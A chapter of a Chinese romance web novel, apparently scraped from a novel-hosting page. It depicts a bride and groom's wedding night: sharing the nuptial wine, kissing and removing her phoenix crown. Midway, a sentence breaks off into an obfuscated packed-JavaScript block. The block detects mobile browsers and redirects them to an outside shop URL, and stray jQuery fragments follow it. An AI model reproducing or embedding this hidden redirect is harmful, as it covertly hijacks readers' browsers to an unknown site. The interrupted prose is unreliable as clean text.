文趣网 > 其他小说 > 同病娇夫君和离后 > 41. 第 41 章
    早在裴蘅走进来之前,南瑛已经坐立难安好一阵。

    虽说现在是寒冬腊月,但这身喜服厚实得很,炭盆又烧得旺,她被闷得额角渗出一层薄汗,碎发黏在额角,胭脂也蹭花了。

    想伸手去扇风,但苦于凤冠压着发顶,行动不便,沉得头脑发晕。

    动弹不得。要是放在往常,她就直接将凤冠取下来了,但今天日子特殊。哪怕心中翻涌着不耐的浪潮,面上也得做做样子,万不能让他觉得自己太过于放浪了。

    盖头被裴蘅掀开时,烛火的光先扑进来,她被晃得眨了一下眼,随后裴蘅那张脸映入眼帘——每一丝每一毫都没有变过,可烛火一照,眉眼间的轮廓像是被重新描过一遍似的。

    他们第一次见面时,他的脸也是这样被月光照着——那时候他满脸是血,她以为他活不了了。

    此刻,他肩背挺得笔直,连平日缩着的肩膀都舒展开来。

    明明日日夜夜相见,这一刻却觉得陌生又熟悉。

    裴蘅视线落在她脸上,目光从她的眉眼滑到嘴唇,又从嘴唇滑回眉眼,许久都没有移开。

    南瑛也没有移开视线。

    炭火噼里啪啦又响了一阵,火光带着暖意跃上来,烫得南瑛轻“呲”一声。她下意识偏了一下脸,与他灼热的视线错开。

    语气硬邦邦的:“看什么看?又不是没见过。”

    “好看。”

    烛火晃了一下。裴蘅的视线也跟着她的动作转过去,那双凤眼里的光再次从她眉梢滑到嘴角,又从嘴角滑到下巴,像是要把她脸上的每一寸都描一遍。他看得太认真了,认真到忘了眨眼。

    这人什么时候嘴这么甜了?饶是南瑛在前十八载对男女之情毫无兴趣,这会儿也被他这话弄得心猿意马。

    但她南瑛是何许人也?她见过的猪跑,可比他见过的多得多。越是在这种时候,就越不能自乱阵脚。

    歪着脑袋看他,“有多好看?”

    说完,没等他回答,自顾自站起来,端起桌上那杯合卺酒。

    裴蘅跟在她身后,也端起自己的那杯,刚伸出手,还没碰到南瑛的手臂——

    一张脸骤然凑近——南瑛飞快抿了一口,凑过去,扣住他的后颈。看着他,以及他眼底跳动的烛火,嘴唇贴了上去。

    “哐当——”

    葫芦从裴蘅手心脱落,琥珀色在地面上漫开,流到两人脚边,但谁都没有弯腰去捡。

    他整个人僵住了,连呼吸声都停了。

    南瑛非但没有推开,反倒凑得更近了些。两人嘴唇贴得更紧了,紧到能感知到他嘴唇陷进去的幅度。

    他的嘴唇真软,比棉花糖还软。

    从今日开始,接吻这种事情,开始变得合法。

    酒液一点点地渡过去,苦涩在两人唇间转了一圈,竟多了丝淡淡的甜。

    一时竟分不清,这点甜,究竟是因为合卺酒是甜的,还是因为他的嘴唇是甜的。

    她动作粗暴,裴蘅还来不及反应,酒液就滑入了喉间。他身体猛地颤了颤,被呛得连连往后退。酒液从唇间溢出来一些,顺着他的下巴往下淌。

    她伸出拇指,轻轻蹭掉他脸上那道水痕。

    盯着他泛红的脸颊,烛火在上面又晃了一下,将那抹薄红映得愈发显然,像是熟透的石榴籽,一碰就要滴出汁来。

    待到他胸膛起伏的幅度慢慢缓下去,她才缓缓伸出手,扣住他的腰侧,将人重新捞了回来。

    这个举动来得过于突然,裴蘅脚下一滑,差点瘫软在她怀里,好在最后还是稳住了。

    “躲什么?”南瑛语气里带着点蛮不讲理的理直气壮,“合卺酒还没喝完。”

    裴蘅低头看着地上的水渍,琥珀色的酒液已经渗进砖缝里了,只剩下一点湿痕。

    “……已经没了。”声音发闷。

    “我说有就有。”

    端过自己那杯剩了半盏的合卺酒,南瑛仰头喝了一口,没给他反应的时间,再次凑了上去。

    这次裴蘅没有僵住,也没有往后退。微微张开了唇,配合着她的动作,让她把酒渡过来。喉结上下滚了一下,酒液咽了下去,但没有咳。

    他的唇间还残留着酒液的微苦,混着她自己的气息,缠绕在一起,分不清是谁的味道。

    在他唇上试探性地轻啄了一下。

    他没有反应。

    不太满意。

    她又啄了一下,力道比刚才重了些。这一次,他嘴唇微微颤了一下。

    第三下的时候,她还没有动作,他就微微张开唇。她顺势探进去,舌尖扫过他下唇内侧,温热感化开,带着合卺酒的余涩。

    啄了一下又一下,直到她的舌尖被他唇上的温度捂暖了,她才舍得松开。

    退开一寸。

    窗外的风忽然停了,连炭火都静了一瞬。

    烛火在裴蘅眼底晃了一下,他看着她,睫毛很轻地颤了颤,鼻尖上渗出一层细密的汗珠,在烛火下泛着细碎的光。

    “这才是交杯酒,懂吗?”

    南瑛抿了抿唇,残余的那点酒液很快在舌尖上化开。先前所有的羞涩与担忧悉数烟消云散,原先那股子肆意重新占据高地。

    心情顿时舒畅不少。

    凝神看他,“这次没呛着?”

    裴蘅摇了摇头,声音有些别扭:“……没有。”

    眼底那层水光漾开来,像是被酒气熏得化了,柔柔地缠上来。

    春水般的眼神荡过来,诱惑着南瑛心里头那头沉睡的野兽。

    “那还算有进步。”南瑛伸手在他唇上轻轻擦了一下,“之前教你那么多,总算学会了一点。”

    原以为裴蘅不会回答,未曾想他声音低如蚊呐般响起:“是姑娘教得好。”

    烛火映在他脸上,那层薄红从耳根一路烧到眼角,连眼尾都泛着湿漉漉的艳。

    南瑛眯了眯眼,伸手戳了戳他心口,“你刚才叫我什么?”

    “……娘子。”

    “这还差不多。”收回手,南瑛转身走到榻边坐下来。

    凤冠压了一整天,脖子酸得厉害。抬手想摘,又顿了一下——裴蘅还拘谨地站在那儿,双手交叉放在胸前,眼神既迷茫又躲闪。

    “站着干什么?”南瑛招了招手,“过来。”

    裴蘅走过来,在她身侧坐下,隔着半臂的距离。侧脸被烛火勾出一道柔和的轮廓,下颌线收得利落,耳根那层红还没褪尽,在暖光里泛着淡淡的粉。

    炭盆里噼啪又响了一声,火光在两人之间跳来跳去,将那道空隙照得亮了一瞬。两人没有靠近,也没有牵手,就那样坐着。无形之中,好像有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728986|206356||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    什么东西悄无声息地连接起来。

    “帮我把凤冠摘了。”南瑛说。

    转过身,裴蘅正对她。伸手在凤冠边缘上摸索了好一阵。结果不小心扯到了南瑛的长发,她低低地“嘶”了一声。

    “姑……”说到一半,裴蘅扫见南瑛冷瑟瑟的神色,又将后一个字憋了回去,鼓着腮帮子,声音涩涩的:“娘、子……我不会。”

    让这人叫“娘子”就这么为难吗?

    南瑛眉头微蹙,笑着看他,“夫君,不会就要学,我记得你之前跟我说你学什么都快来着。”

    沉默了一会儿,裴蘅手指再次伸到她发顶,开始慢慢地、笨拙地拆解那些珠串。

    凤冠上的珠钗在他指尖下发出细碎的碰撞声,清脆而密集。指腹偶尔蹭过她的头皮,带着微凉的温度,又很快移开。

    那只手在她发间穿行,带着薄薄的暖意。茧子蹭过去时,她头皮有些发麻,但并不难受。

    不知过了多久,炭火又噼里啪啦地响了一阵,听得她心烦意乱。心生困意,南瑛正想开口催促,头顶忽然一松,凤冠取了下来。

    将那顶凤冠搁到旁边的矮几上后,裴蘅又缩回了身体,端正地坐在那儿。

    南瑛伸手摸了摸发顶,头发散了一半,还有一些珠钗歪歪扭扭地挂在上面。也懒得管了,直接往榻上一倒,仰面躺着,盯着帐顶。

    余光瞥见裴蘅还保持着手指搭在膝上的姿势,她心里头既感到好笑又有点无奈。

    “躺下。”她指了指旁边,“反正又不是第一次同睡一张榻了,你扭捏什么?”

    后半句话不说还好,一冒出口,瞬间化作一把火焰,将裴蘅脸上那层薄红烧得通红。烛火在他面庞上跳来跳去,红得跟熟透了的樱桃,让人忍不住想咬一口。

    “……娘子,我睡地上就好。”他憋出一句话。

    南瑛“噌”地坐起来,语带不善:“你说什么?”

    “新婚之夜,”裴蘅双手搅来搅去,搓得指尖发烫,“我怕……”

    “怕什么怕?直接实践啊。”

    见他紧张得连耳朵都红透了,南瑛忽然起了逗他的心思。侧过身,从枕头下摸出一本画册——前阵子跟寒霜逛街时她硬塞给自己的,还没来得及看。

    在他面前晃了晃,调侃道:“上次给你的画册,看完了吗?”

    裴蘅神色一愣,“……看完了。”

    “看完了?”南瑛似笑非笑,“那学会了吗?”

    见裴蘅低垂着头、死活不敢看她的模样,南瑛心里那股又好笑又好气的劲儿慢慢散了,取而代之的是一种说不清道不明的柔软。

    伸手拽了拽他的袖口,眉头微挑,“怎么?你怕我?”

    “不是。”裴蘅摇摇头。

    “那你怕什么?”

    裴蘅偏头看着她,烛火映在他眼里,将眼底的那些亮光映得愈发认真。

    “怕你以后后悔。”

    说完,他垂下眼,喉结轻轻滚了一下。那一瞬间,他想说的其实是:你嫁的这个人,不是表面这个样子。但他没有说出口。

    “我不会后悔的。”

    话一出口,南瑛自己先愣了一下。

    压下浮着的那点异样,任凭心里头的火浇上来,南瑛狡黠一笑。

    “那还等什么?我教你。”